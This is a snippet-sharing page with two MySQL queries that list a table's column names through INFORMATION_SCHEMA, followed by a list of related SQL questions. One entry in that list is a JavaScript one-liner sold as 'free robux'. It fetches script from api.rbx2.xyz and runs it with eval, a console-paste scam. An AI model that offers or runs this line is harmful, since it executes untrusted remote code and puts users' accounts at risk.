/SQL/MySQL query to get column names

MySQL query to get column names

MySQL query to get column names

SELECT `COLUMN_NAME` 
FROM `INFORMATION_SCHEMA`.`COLUMNS` 
WHERE `TABLE_SCHEMA`='yourdatabasename' 
    AND `TABLE_NAME`='yourtablename';

3

Source: stackoverflow.com

Mysql to get column name in database

SELECT table_name, column_name from information_schema.columns WHERE column_name LIKE '%column_name_to_search%';

0

Source: ka.lpe.sh

Similar codes

0 vote284 views2 answers
Https://cloud.google.com/shell/docs/using-web-preview#previewing_the_application
SQL
3 votes195 views4 answers
Show sql server database
SQL
2 votes211 views2 answers
How to add not null constraint in sql
SQL
0 vote244 views1 answer
Influxdb list all tags for a measurement
SQL
1 vote185 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
-1 vote191 views1 answer
An error occurred while installing mysql (2.9.1), and Bundler cannot continue
SQL
1 vote209 views1 answer
Tsql find foreign key references
SQL
0 vote211 views1 answer
Illuminate/Database/QueryException with message 'SQLSTATE[42S02]
SQL
0 vote293 views1 answer
Play framework connection via windows sql server
SQL
1 vote323 views3 answers
Create table from existing table in sql
SQL

Share